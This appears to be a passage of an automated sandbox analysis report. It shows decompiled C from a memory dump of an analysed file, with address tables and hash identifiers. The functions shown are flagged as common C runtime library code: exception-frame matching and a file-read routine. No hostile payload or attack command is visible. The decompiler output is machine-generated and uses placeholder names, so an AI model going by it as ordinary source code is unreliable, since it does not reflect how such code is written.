							_v20 = _t214;
							_v12 = _t298;
							__eflags = _t298 - _v32;
							if(_t298 >= _v32) {
								goto L84;
							}
							_t277 = _t298 * 0x14;
							__eflags = _t277;
							_v16 = _t277;
							do {
								_t278 = 5;
								_t217 = memcpy( &_v64,  *((intOrPtr*)( *_t214 + 0x10)) + _t277, _t278 << 2);
								_t334 = _t334 + 0xc;
								__eflags = _v64 - _t217;
								if(_v64 > _t217) {
									goto L83;
								}
								__eflags = _t217 - _v60;
								if(_t217 > _v60) {
									goto L83;
								}
								_t220 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t283 = _t220[4];
								__eflags = _t283;
								if(_t283 == 0) {
									L81:
									__eflags =  *_t220 & 0x00000040;
									if(( *_t220 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E001ACC68(_t271, _a4, _a8, _a12, _a16, _t220, 0,  &_v64, _a24, _a28);
										_t298 = _v12;
										_t334 = _t334 + 0x30;
									}
									goto L83;
								}
								__eflags =  *((char*)(_t283 + 8));
								if( *((char*)(_t283 + 8)) != 0) {
									goto L83;
								}
								goto L81;
								L83:
								_t298 = _t298 + 1;
								_t214 = _v20;
								_t277 = _v16 + 0x14;
								_v12 = _t298;
								_v16 = _t277;
								__eflags = _t298 - _v32;
							} while (_t298 < _v32);
							goto L84;
						}
						E001B2DB9(_t271, _t275, _t296, _t315);
						asm("int3");
						_push(_t329);
						_t297 = _v184;
						_push(_t271);
						_push(_t315);
						_push(0);
						_t205 = _t297[4];
						__eflags = _t205;
						if(_t205 == 0) {
							L109:
							_t207 = 1;
							__eflags = 1;
						} else {
							_t276 = _t205 + 8;
							__eflags =  *_t276;
							if( *_t276 == 0) {
								goto L109;
							} else {
								__eflags =  *_t297 & 0x00000080;
								_t304 = _v0;
								if(( *_t297 & 0x00000080) == 0) {
									L91:
									_t272 = _t304[4];
									_t317 = 0;
									__eflags = _t205 - _t272;
									if(_t205 == _t272) {
										L101:
										__eflags =  *_t304 & 0x00000002;
										if(( *_t304 & 0x00000002) == 0) {
											L103:
											_t208 = _a4;
											__eflags =  *_t208 & 0x00000001;
											if(( *_t208 & 0x00000001) == 0) {
												L105:
												__eflags =  *_t208 & 0x00000002;
												if(( *_t208 & 0x00000002) == 0) {
													L107:
													_t317 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t297 & 0x00000002;
													if(( *_t297 & 0x00000002) != 0) {
														goto L107;
													}
												}
											} else {
												__eflags =  *_t297 & 0x00000001;
												if(( *_t297 & 0x00000001) != 0) {
													goto L105;
												}
											}
										} else {
											__eflags =  *_t297 & 0x00000008;
											if(( *_t297 & 0x00000008) != 0) {
												goto L103;
											}
										}
										_t207 = _t317;
									} else {
										_t209 = _t272 + 8;
										while(1) {
											_t273 =  *_t276;
											__eflags = _t273 -  *_t209;
											if(_t273 !=  *_t209) {
												break;
											}
											__eflags = _t273;
											if(_t273 == 0) {
												L97:
												_t210 = _t317;
											} else {
												_t274 =  *((intOrPtr*)(_t276 + 1));
												__eflags = _t274 -  *((intOrPtr*)(_t209 + 1));
												if(_t274 !=  *((intOrPtr*)(_t209 + 1))) {
													break;
												} else {
													_t276 = _t276 + 2;
													_t209 = _t209 + 2;
													__eflags = _t274;
													if(_t274 != 0) {
														continue;
													} else {
														goto L97;
													}
												}
											}
											L99:
											__eflags = _t210;
											if(_t210 == 0) {
												goto L101;
											} else {
												_t207 = 0;
											}
											goto L110;
										}
										asm("sbb eax, eax");
										_t210 = _t209 | 0x00000001;
										__eflags = _t210;
										goto L99;
									}
								} else {
									__eflags =  *_t304 & 0x00000010;
									if(( *_t304 & 0x00000010) != 0) {
										goto L109;
									} else {
										goto L91;
									}
								}
							}
						}
						L110:
						return _t207;
					}
				} else {
					_t270 = _a4;
					if( *_t270 != 0xe06d7363 || _t270[0x10] != 3 || _t270[0x14] != 0x19930520 && _t270[0x14] != 0x19930521 && _t270[0x14] != 0x19930522) {
						L22:
						_t296 = _a12;
						_v8 = _t296;
						goto L24;
					} else {
						_t315 = 0;
						if(_t270[0x1c] != 0) {
							goto L22;
						} else {
							_t224 = E001AC96C(_t270, _t275, _t296, 0);
							if( *((intOrPtr*)(_t224 + 0x10)) == 0) {
								L61:
								return _t224;
							} else {
								_t270 =  *(E001AC96C(_t270, _t275, _t296, 0) + 0x10);
								_t259 = E001AC96C(_t270, _t275, _t296, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t259 + 0x14));
								if(_t270 == 0 ||  *_t270 == 0xe06d7363 && _t270[0x10] == 3 && (_t270[0x14] == 0x19930520 || _t270[0x14] == 0x19930521 || _t270[0x14] == 0x19930522) && _t270[0x1c] == _t315) {
									goto L67;
								} else {
									if( *((intOrPtr*)(E001AC96C(_t270, _t275, _t296, _t315) + 0x1c)) == _t315) {
										L23:
										_t296 = _v8;
										_t275 = _v12;
										L24:
										_v52 = _t301;
										_v48 = 0;
										__eflags =  *_t270 - 0xe06d7363;
										if( *_t270 != 0xe06d7363) {
											L57:
											__eflags = _t301[3];
											if(_t301[3] <= 0) {
												goto L60;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L67;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t275);
													_push(_t301);
													_push(_a16);
													_push(_t296);
													_push(_a8);
													_push(_t270);
													L68();
													_t332 = _t332 + 0x20;
													goto L60;
												}
											}
										} else {
											__eflags = _t270[0x10] - 3;
											if(_t270[0x10] != 3) {
												goto L57;
											} else {
												__eflags = _t270[0x14] - 0x19930520;
												if(_t270[0x14] == 0x19930520) {
													L29:
													_t315 = _a32;
													__eflags = _t301[3];
													if(_t301[3] > 0) {
														_push(_a28);
														E001AA44C(_t270, _t275, _t301, _t315,  &_v68,  &_v52, _t275, _a16, _t301);
														_t296 = _v64;
														_t332 = _t332 + 0x18;
														_t247 = _v68;
														_v44 = _t247;
														_v16 = _t296;
														__eflags = _t296 - _v56;
														if(_t296 < _v56) {
															_t290 = _t296 * 0x14;
															__eflags = _t290;
															_v32 = _t290;
															do {
																_t291 = 5;
																_t250 = memcpy( &_v104,  *((intOrPtr*)( *_t247 + 0x10)) + _t290, _t291 << 2);
																_t332 = _t332 + 0xc;
																__eflags = _v104 - _t250;
																if(_v104 <= _t250) {
																	__eflags = _t250 - _v100;
																	if(_t250 <= _v100) {
																		_t294 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t299 = _t270[0x1c];
																			_t251 =  *((intOrPtr*)(_t299 + 0xc));
																			_t252 = _t251 + 4;
																			__eflags = _t252;
																			_v36 = _t252;
																			_t253 = _v88;
																			_v40 =  *_t251;
																			_v24 = _t253;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t327 = _v40;
																				_t314 = _v36;
																				__eflags = _t327;
																				if(_t327 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t299);
																						_push( *_t314);
																						_t254 =  &_v84;
																						_push(_t254);
																						L87();
																						_t332 = _t332 + 0xc;
																						__eflags = _t254;
																						if(_t254 != 0) {
																							break;
																						}
																						_t299 = _t270[0x1c];
																						_t327 = _t327 - 1;
																						_t314 = _t314 + 4;
																						__eflags = _t327;
																						if(_t327 > 0) {
																							continue;
																						} else {
																							_t294 = _v20;
																							_t253 = _v24;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E001ACC68(_t270, _a8, _v8, _a16, _a20,  &_v84,  *_t314,  &_v104, _a28, _a32);
																					_t332 = _t332 + 0x30;
																				}
																				L43:
																				_t296 = _v16;
																				goto L44;
																				L40:
																				_t294 = _t294 + 1;
																				_t253 = _t253 + 0x10;
																				_v20 = _t294;
																				_v24 = _t253;
																				__eflags = _t294 - _v92;
																			} while (_t294 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t296 = _t296 + 1;
																_t247 = _v44;
																_t290 = _v32 + 0x14;
																_v16 = _t296;
																_v32 = _t290;
																__eflags = _t296 - _v56;
															} while (_t296 < _v56);
															_t301 = _a20;
															_t315 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E001AAD98(_t270, _t301, _t315, __eflags);
														_t275 = _t270;
													}
													__eflags = ( *_t301 & 0x1fffffff) - 0x19930521;
													if(( *_t301 & 0x1fffffff) < 0x19930521) {
														L60:
														_t224 = E001AC96C(_t270, _t275, _t296, _t315);
														__eflags =  *(_t224 + 0x1c);
														if( *(_t224 + 0x1c) != 0) {
															goto L67;
														} else {
															goto L61;
														}
													} else {
														_t228 = _t301[8] >> 2;
														__eflags = _t301[7];
														if(_t301[7] != 0) {
															__eflags = _t228 & 0x00000001;
															if((_t228 & 0x00000001) == 0) {
																_push(_t301[7]);
																_t229 = E001AD706(_t270, _t301, _t315, _t270);
																_pop(_t275);
																__eflags = _t229;
																if(_t229 == 0) {
																	goto L64;
																} else {
																	goto L60;
																}
															} else {
																goto L54;
															}
														} else {
															__eflags = _t228 & 0x00000001;
															if((_t228 & 0x00000001) == 0) {
																goto L60;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L60;
																} else {
																	L54:
																	 *(E001AC96C(_t270, _t275, _t296, _t315) + 0x10) = _t270;
																	_t237 = E001AC96C(_t270, _t275, _t296, _t315);
																	_t286 = _v8;
																	 *((intOrPtr*)(_t237 + 0x14)) = _v8;
																	goto L62;
																}
															}
														}
													}
												} else {
													__eflags = _t270[0x14] - 0x19930521;
													if(_t270[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t270[0x14] - 0x19930522;
														if(_t270[0x14] != 0x19930522) {
															goto L57;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E001AC96C(_t270, _t275, _t296, _t315) + 0x1c));
										_t264 = E001AC96C(_t270, _t275, _t296, _t315);
										_push(_v16);
										 *(_t264 + 0x1c) = _t315;
										_t265 = E001AD706(_t270, _t301, _t315, _t270);
										_pop(_t286);
										if(_t265 != 0) {
											goto L23;
										} else {
											_t301 = _v16;
											_t353 =  *_t301 - _t315;
											if( *_t301 <= _t315) {
												L62:
												E001B5BFE(_t270, _t286, _t296, _t301, _t315, __eflags);
											} else {
												while(1) {
													_t286 =  *((intOrPtr*)(_t315 + _t301[1] + 4));
													if(E001AD38F( *((intOrPtr*)(_t315 + _t301[1] + 4)), _t353, 0x2020c8) != 0) {
														goto L63;
													}
													_t315 = _t315 + 0x10;
													_t269 = _v20 + 1;
													_v20 = _t269;
													_t353 = _t269 -  *_t301;
													if(_t269 >=  *_t301) {
														goto L62;
													} else {
														continue;
													}
													goto L63;
												}
											}
											L63:
											_push(1);
											_push(_t270);
											E001AAD98(_t270, _t301, _t315, __eflags);
											_t275 =  &_v64;
											E001AD377( &_v64);
											E001AA3E0( &_v64, 0x1d3e94);
											L64:
											 *(E001AC96C(_t270, _t275, _t296, _t315) + 0x10) = _t270;
											_t231 = E001AC96C(_t270, _t275, _t296, _t315);
											_t275 = _v8;
											 *(_t231 + 0x14) = _v8;
											__eflags = _t315;
											if(_t315 == 0) {
												_t315 = _a8;
											}
											E001AA63F(_t275, _t315, _t270);
											E001AD606(_a8, _a16, _t301);
											_t234 = E001AD7C3(_t301);
											_t332 = _t332 + 0x10;
											_push(_t234);
											E001AD57D(_t270, _t275, _t296, _t301, _t315, __eflags);
											goto L67;
										}
									}
								}
							}
						}
					}
				}
			}

0x001acce8
0x001accef
0x001accf1
0x001accfa
0x001acd00
0x001acd08
0x001acd0a
0x001acd0d
0x001acd13
0x001ad087
0x001ad087
0x001ad08c
0x001ad08e
0x001ad090
0x001ad093
0x001ad094
0x001ad097
0x001ad09d
0x001ad1bc
0x001ad0a3
0x001ad0a5
0x001ad0ac
0x001ad0af
0x001ad0b2
0x001ad0b8
0x001ad0ba
0x001ad0bf
0x001ad0c2
0x001ad0c4
0x001ad0ca
0x001ad0cc
0x001ad0d2
0x001ad0e7
0x001ad0ec
0x001ad0ef
0x001ad0f1
0x001ad1b8
0x00000000
0x001ad1b9
0x001ad0f1
0x001ad0d2
0x001ad0ca
0x001ad0c2
0x001ad0f7
0x001ad0fa
0x001ad0fd
0x001ad100
0x001ad103
0x001ad109
0x001ad11b
0x001ad120
0x001ad123
0x001ad126
0x001ad129
0x001ad12c
0x001ad12f
0x001ad132
0x00000000
0x00000000
0x001ad138
0x001ad138
0x001ad13b
0x001ad13e
0x001ad14d
0x001ad14e
0x001ad14e
0x001ad150
0x001ad153
0x00000000
0x00000000
0x001ad155
0x001ad158
0x00000000
0x00000000
0x001ad166
0x001ad168
0x001ad16b
0x001ad16d
0x001ad175
0x001ad175
0x001ad178
0x001ad17a
0x001ad17c
0x001ad198
0x001ad19d
0x001ad1a0
0x001ad1a0
0x00000000
0x001ad178
0x001ad16f
0x001ad173
0x00000000
0x00000000
0x00000000
0x001ad1a3
0x001ad1a6
0x001ad1a7
0x001ad1aa
0x001ad1ad
0x001ad1b0
0x001ad1b3
0x001ad1b3
0x00000000
0x001ad13e
0x001ad1bd
0x001ad1c2
0x001ad1c3
0x001ad1c6
0x001ad1c9
0x001ad1ca
0x001ad1cb
0x001ad1cc
0x001ad1cf
0x001ad1d1
0x001ad249
0x001ad24b
0x001ad24b
0x001ad1d3
0x001ad1d3
0x001ad1d6
0x001ad1d9
0x00000000
0x001ad1db
0x001ad1db
0x001ad1de
0x001ad1e1
0x001ad1e8
0x001ad1e8
0x001ad1eb
0x001ad1ed
0x001ad1ef
0x001ad221
0x001ad221
0x001ad224
0x001ad22b
0x001ad22b
0x001ad22e
0x001ad231
0x001ad238
0x001ad238
0x001ad23b
0x001ad242
0x001ad244
0x001ad244
0x001ad23d
0x001ad23d
0x001ad240
0x00000000
0x00000000
0x001ad240
0x001ad233
0x001ad233
0x001ad236
0x00000000
0x00000000
0x001ad236
0x001ad226
0x001ad226
0x001ad229
0x00000000
0x00000000
0x001ad229
0x001ad245
0x001ad1f1
0x001ad1f1
0x001ad1f4
0x001ad1f4
0x001ad1f6
0x001ad1f8
0x00000000
0x00000000
0x001ad1fa
0x001ad1fc
0x001ad210
0x001ad210
0x001ad1fe
0x001ad1fe
0x001ad201
0x001ad204
0x00000000
0x001ad206
0x001ad206
0x001ad209
0x001ad20c
0x001ad20e
0x00000000
0x00000000
0x00000000
0x00000000
0x001ad20e
0x001ad204
0x001ad219
0x001ad219
0x001ad21b
0x00000000
0x001ad21d
0x001ad21d
0x001ad21d
0x00000000
0x001ad21b
0x001ad214
0x001ad216
0x001ad216
0x00000000
0x001ad216
0x001ad1e3
0x001ad1e3
0x001ad1e6
0x00000000
0x00000000
0x00000000
0x00000000
0x001ad1e6
0x001ad1e1
0x001ad1d9
0x001ad24c
0x001ad250
0x001ad250
0x001acd22
0x001acd22
0x001acd2b
0x001ace28
0x001ace28
0x001ace2b
0x00000000
0x001acd5a
0x001acd5a
0x001acd5f
0x00000000
0x001acd65
0x001acd65
0x001acd6d
0x001ad021
0x001ad025
0x001acd73
0x001acd78
0x001acd7b
0x001acd80
0x001acd87
0x001acd8c
0x00000000
0x001acdc4
0x001acdcc
0x001ace30
0x001ace30
0x001ace33
0x001ace36
0x001ace38
0x001ace3b
0x001ace3e
0x001ace44
0x001acff0
0x001acff0
0x001acff3
0x00000000
0x001acff5
0x001acff5
0x001acff8
0x00000000
0x001acffe
0x001acffe
0x001ad001
0x001ad004
0x001ad005
0x001ad006
0x001ad009
0x001ad00a
0x001ad00d
0x001ad00e
0x001ad013
0x00000000
0x001ad013
0x001acff8
0x001ace4a
0x001ace4a
0x001ace4e
0x00000000
0x001ace54
0x001ace54
0x001ace5b
0x001ace73
0x001ace73
0x001ace76
0x001ace79
0x001ace7f
0x001ace8f
0x001ace94
0x001ace97
0x001ace9a
0x001ace9d
0x001acea0
0x001acea3
0x001acea6
0x001aceac
0x001aceac
0x001aceaf
0x001aceb2
0x001acec1
0x001acec2
0x001acec2
0x001acec4
0x001acec7
0x001acecd
0x001aced0
0x001aced6
0x001aced8
0x001acedb
0x001acede
0x001acee4
0x001acee7
0x001aceec
0x001aceec
0x001aceef
0x001acef2
0x001acef5
0x001acef8
0x001acefb
0x001acf00
0x001acf01
0x001acf02
0x001acf03
0x001acf04
0x001acf07
0x001acf0a
0x001acf0c
0x00000000
0x001acf0e
0x001acf0e
0x001acf0e
0x001acf0f
0x001acf11
0x001acf14
0x001acf15
0x001acf1a
0x001acf1d
0x001acf1f
0x00000000
0x00000000
0x001acf21
0x001acf24
0x001acf25
0x001acf28
0x001acf2a
0x00000000
0x001acf2c
0x001acf2c
0x001acf2f
0x00000000
0x001acf2f
0x00000000
0x001acf2a
0x001acf43
0x001acf49
0x001acf66
0x001acf6b
0x001acf6b
0x001acf6e
0x001acf6e
0x00000000
0x001acf32
0x001acf32
0x001acf33
0x001acf36
0x001acf39
0x001acf3c
0x001acf3c
0x00000000
0x001acf41
0x001acede
0x001aced0
0x001acf71
0x001acf74
0x001acf75
0x001acf78
0x001acf7b
0x001acf7e
0x001acf81
0x001acf81
0x001acf8a
0x001acf8d
0x001acf8d
0x001acea6
0x001acf90
0x001acf94
0x001acf96
0x001acf99
0x001acf9f
0x001acf9f
0x001acfa7
0x001acfac
0x001ad016
0x001ad016
0x001ad01b
0x001ad01f
0x00000000
0x00000000
0x00000000
0x00000000
0x001acfae
0x001acfb1
0x001acfb4
0x001acfb8
0x001acfc6
0x001acfc8
0x001acfdf
0x001acfe3
0x001acfe9
0x001acfea
0x001acfec
0x00000000
0x001acfee
0x00000000
0x001acfee
0x00000000
0x00000000
0x00000000
0x001acfba
0x001acfba
0x001acfbc
0x00000000
0x001acfbe
0x001acfbe
0x001acfc2
0x00000000
0x001acfc4
0x001acfca
0x001acfcf
0x001acfd2
0x001acfd7
0x001acfda
0x00000000
0x001acfda
0x001acfc2
0x001acfbc
0x001acfb8
0x001ace5d
0x001ace5d
0x001ace64
0x00000000
0x001ace66
0x001ace66
0x001ace6d
0x00000000
0x00000000
0x00000000
0x00000000
0x001ace6d
0x001ace64
0x001ace5b
0x001ace4e
0x001acdce
0x001acdd6
0x001acdd9
0x001acdde
0x001acde2
0x001acde5
0x001acdeb
0x001acdee
0x00000000
0x001acdf0
0x001acdf0
0x001acdf3
0x001acdf5
0x001ad026
0x001ad026
0x00000000
0x001acdfb
0x001ace03
0x001ace0e
0x00000000
0x00000000
0x001ace17
0x001ace1a
0x001ace1b
0x001ace1e
0x001ace20
0x00000000
0x001ace26
0x00000000
0x001ace26
0x00000000
0x001ace20
0x001acdfb
0x001ad02b
0x001ad02b
0x001ad02d
0x001ad02e
0x001ad035
0x001ad038
0x001ad046
0x001ad04b
0x001ad050
0x001ad053
0x001ad058
0x001ad05b
0x001ad05e
0x001ad060
0x001ad062
0x001ad062
0x001ad067
0x001ad073
0x001ad079
0x001ad07e
0x001ad081
0x001ad082
0x00000000
0x001ad082
0x001acdee
0x001acdcc
0x001acd8c
0x001acd6d
0x001acd5f
0x001acd2b

APIs

type_info::operator==.LIBVCRUNTIME ref: 001ACE07
___TypeMatch.LIBVCRUNTIME ref: 001ACF15
_UnwindNestedFrames.LIBCMT ref: 001AD067
CallUnexpected.LIBVCRUNTIME ref: 001AD082

Strings

csm, xrefs: 001ACE3E
csm, xrefs: 001ACD25
csm, xrefs: 001ACD92

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 3eee744a64712a00752c6e36b4965c551958d36b7fa765049a49dd3d45b1fe68
Instruction ID: 9eb65c01efa8ac64f4c0b3ac1c3b32290c8bf04408b0c6e2dee615f32c79bf06
Opcode Fuzzy Hash: 3eee744a64712a00752c6e36b4965c551958d36b7fa765049a49dd3d45b1fe68
Instruction Fuzzy Hash: 72B19B79800609EFCF29DFA4D9819AEBBB5FF26310F14415AF8116B246D331DA51CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 001BBA6C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E001BBA6C(signed int _a4, void* _a8, unsigned int _a12) {
				signed int _v5;
				signed int _v12;
				void* _v16;
				signed int _v20;
				long _v24;
				void* _v28;
				char _v32;
				void* _v36;
				long _v40;
				signed int* _t132;
				signed int _t134;
				signed int _t135;
				long _t138;
				signed int _t141;
				signed int _t143;
				signed char _t145;
				intOrPtr _t153;
				long _t155;
				signed int _t156;
				signed int _t157;
				signed int _t159;
				long _t160;
				intOrPtr _t165;
				signed int _t166;
				intOrPtr _t168;
				signed int _t170;
				signed int _t172;
				char _t174;
				char _t179;
				char _t184;
				signed char _t191;
				long _t197;
				signed int _t200;
				intOrPtr _t203;
				long _t204;
				signed int _t205;
				unsigned int _t208;
				signed int _t210;
				signed int _t216;
				signed char _t217;
				long _t218;
				long _t219;
				void* _t220;
				signed int _t221;
				char* _t223;
				char* _t224;
				char* _t225;
				signed int _t230;
				signed int _t231;
				void* _t235;
				void* _t237;
				void* _t238;
				void* _t239;

				_t200 = _a4;
				_t238 = _t237 - 0x24;
				if(_t200 != 0xfffffffe) {
					__eflags = _t200;
					if(_t200 < 0) {
						L60:
						_t132 = E001AFF2E();
						 *_t132 =  *_t132 & 0x00000000;
						__eflags =  *_t132;
						 *((intOrPtr*)(E001AFF41())) = 9;
						L61:
						_t134 = E001AFE43();
						goto L62;
					}
					__eflags = _t200 -  *0x203378; // 0x40
					if(__eflags >= 0) {
						goto L60;
					}
					_t216 = _t200 >> 6;
					_t230 = (_t200 & 0x0000003f) * 0x38;
					_v12 = _t216;
					_v32 = 1;
					_t138 =  *((intOrPtr*)(0x203178 + _t216 * 4));
					_v24 = _t138;
					_v20 = _t230;
					_t217 =  *((intOrPtr*)(_t138 + _t230 + 0x28));
					_v5 = _t217;
					__eflags = 1 & _t217;
					if((1 & _t217) == 0) {
						goto L60;
					}
					_t218 = _a12;
					__eflags = _t218 - 0x7fffffff;
					if(_t218 <= 0x7fffffff) {
						__eflags = _t218;
						if(_t218 == 0) {
							L59:
							_t135 = 0;
							goto L63;
						}
						__eflags = _v5 & 0x00000002;
						if((_v5 & 0x00000002) != 0) {
							goto L59;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							goto L6;
						}
						_t141 =  *((intOrPtr*)(_t138 + _t230 + 0x29));
						_v5 = _t141;
						_v28 =  *((intOrPtr*)(_t138 + _t230 + 0x18));
						_t235 = 0;
						_t143 = _t141 - 1;
						__eflags = _t143;
						if(_t143 == 0) {
							_t145 =  !_t218;
							__eflags = 1 & _t145;
							if((1 & _t145) == 0) {
								L14:
								 *(E001AFF2E()) =  *_t146 & _t235;
								 *((intOrPtr*)(E001AFF41())) = 0x16;
								E001AFE43();
								goto L40;
							} else {
								_t219 = _t218 >> 1;
								_t197 = 4;
								__eflags = _t219 - 1;
								if(_t219 >= 1) {
									_t197 = _t219;
								}
								_t235 = E001B6429(_t197);
								E001B63EF(0);
								E001B63EF(0);
								_t239 = _t238 + 0xc;
								_v16 = _t235;
								__eflags = _t235;
								if(_t235 != 0) {
									_t153 = E001BB434(_t219, _a4, 0, 0, 1);
									_t238 = _t239 + 0x10;
									_t203 =  *((intOrPtr*)(0x203178 + _v12 * 4));
									 *((intOrPtr*)(_t230 + _t203 + 0x20)) = _t153;
									 *(_t230 + _t203 + 0x24) = _t219;
									_t220 = _t235;
									_t155 =  *((intOrPtr*)(0x203178 + _v12 * 4));
									L22:
									_v24 = _t155;
									L23:
									_t204 = _v24;
									_t230 = 0;
									_t156 = _v20;
									_v36 = _t220;
									__eflags =  *(_t156 + _t204 + 0x28) & 0x00000048;
									_t205 = _a4;
									if(( *(_t156 + _t204 + 0x28) & 0x00000048) != 0) {
										_t174 =  *((intOrPtr*)(_t156 + _v24 + 0x2a));
										_t223 = _v16;
										__eflags = _t174 - 0xa;
										if(_t174 != 0xa) {
											__eflags = _t197;
											if(_t197 != 0) {
												_t230 = 1;
												 *_t223 = _t174;
												_t224 = _t223 + 1;
												_t197 = _t197 - 1;
												__eflags = _v5;
												_v16 = _t224;
												 *((char*)(_v20 +  *((intOrPtr*)(0x203178 + _v12 * 4)) + 0x2a)) = 0xa;
												_t205 = _a4;
												if(_v5 != 0) {
													_t179 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x203178 + _v12 * 4)) + 0x2b));
													_t205 = _a4;
													__eflags = _t179 - 0xa;
													if(_t179 != 0xa) {
														__eflags = _t197;
														if(_t197 != 0) {
															 *_t224 = _t179;
															_t225 = _t224 + 1;
															_t197 = _t197 - 1;
															__eflags = _v5 - 1;
															_v16 = _t225;
															_t230 = 2;
															 *((char*)(_v20 +  *((intOrPtr*)(0x203178 + _v12 * 4)) + 0x2b)) = 0xa;
															_t205 = _a4;
															if(_v5 == 1) {
																_t184 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x203178 + _v12 * 4)) + 0x2c));
																_t205 = _a4;
																__eflags = _t184 - 0xa;
																if(_t184 != 0xa) {
																	__eflags = _t197;
																	if(_t197 != 0) {
																		 *_t225 = _t184;
																		_t197 = _t197 - 1;
																		__eflags = _t197;
																		_v16 = _t225 + 1;
																		_t230 = 3;
																		 *((char*)(_v20 +  *((intOrPtr*)(0x203178 + _v12 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t157 = E001C39CA(_t205);
									__eflags = _t157;
									if(_t157 == 0) {
										L43:
										_v32 = 0;
										L44:
										_t198 = _v16;
										_t159 = ReadFile(_v28, _v16, _t197,  &_v24, 0);
										__eflags = _t159;
										if(_t159 == 0) {
											L55:
											_t160 = GetLastError();
											_t230 = 5;
											__eflags = _t160 - _t230;
											if(_t160 != _t230) {
												__eflags = _t160 - 0x6d;
												if(_t160 != 0x6d) {
													L39:
													E001AFEE7(_t160);
													goto L40;
												}
												_t231 = 0;
												goto L41;
											}
											 *((intOrPtr*)(E001AFF41())) = 9;
											 *(E001AFF2E()) = _t230;
											goto L40;
										}
										_t208 = _a12;
										__eflags = _v24 - _t208;
										if(_v24 > _t208) {
											goto L55;
										}
										_t231 = _t230 + _v24;
										__eflags = _t231;
										L47:
										_t221 = _v20;
										_t165 =  *((intOrPtr*)(0x203178 + _v12 * 4));
										__eflags =  *((char*)(_t221 + _t165 + 0x28));
										if( *((char*)(_t221 + _t165 + 0x28)) < 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v32;
												_push(_t231 >> 1);
												_push(_v36);
												_push(_a4);
												if(_v32 == 0) {
													_t166 = E001BB5DE();
												} else {
													_t166 = E001BB8DD();
												}
											} else {
												_t209 = _t208 >> 1;
												__eflags = _t208 >> 1;
												_t166 = E001BB786(_t208 >> 1, _t208 >> 1, _a4, _t198, _t231, _a8, _t209);
											}
											_t231 = _t166;
										}
										goto L41;
									}
									_t210 = _v20;
									_t168 =  *((intOrPtr*)(0x203178 + _v12 * 4));
									__eflags =  *((char*)(_t210 + _t168 + 0x28));
									if( *((char*)(_t210 + _t168 + 0x28)) >= 0) {
										goto L43;
									}
									_t104 =  &_v28; // 0xa
									_t170 = GetConsoleMode( *_t104,  &_v40);
									__eflags = _t170;
									if(_t170 == 0) {
										goto L43;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L44;
									}
									_t198 = _v16;
									_t172 = ReadConsoleW(_v28, _v16, _t197 >> 1,  &_v24, 0);
									__eflags = _t172;
									if(_t172 != 0) {
										_t208 = _a12;
										_t231 = _t230 + _v24 * 2;
										goto L47;
									}
									_t160 = GetLastError();
									goto L39;
								} else {
									 *((intOrPtr*)(E001AFF41())) = 0xc;
									 *(E001AFF2E()) = 8;
									L40:
									_t231 = _t230 | 0xffffffff;
									__eflags = _t231;
									L41:
									E001B63EF(_t235);
									_t135 = _t231;
									goto L63;
								}
							}
						}
						__eflags = _t143 == 1;
						if(_t143 == 1) {
							_t191 =  !_t218;
							__eflags = 1 & _t191;
							if((1 & _t191) != 0) {
								_t155 = _v24;
								_t197 = _t218;
								_t220 = _a8;
								_v16 = _t220;
								goto L22;
							}
							goto L14;
						} else {
							_t197 = _t218;
							_t220 = _a8;
							_v16 = _t220;
							goto L23;
						}
					}
					L6:
					 *(E001AFF2E()) =  *_t139 & 0x00000000;
					 *((intOrPtr*)(E001AFF41())) = 0x16;
					goto L61;
				} else {
					 *(E001AFF2E()) =  *_t192 & 0x00000000;
					_t134 = E001AFF41();
					 *_t134 = 9;
					L62:
					_t135 = _t134 | 0xffffffff;
					L63:
					return _t135;
				}
			}

0x001bba71
0x001bba74
0x001bba7c
0x001bba96
0x001bba98
0x001bbdec
0x001bbdec
0x001bbdf1
0x001bbdf1
0x001bbdf9
0x001bbdff
0x001bbdff
0x00000000
0x001bbdff
0x001bba9e
0x001bbaa4
0x00000000
0x00000000
0x001bbaae
0x001bbab4
0x001bbab9
0x001bbabd
0x001bbac0
0x001bbac7
0x001bbaca
0x001bbacd
0x001bbad1
0x001bbad4
0x001bbad6
0x00000000
0x00000000
0x001bbadc
0x001bbadf
0x001bbae5
0x001bbaff
0x001bbb01
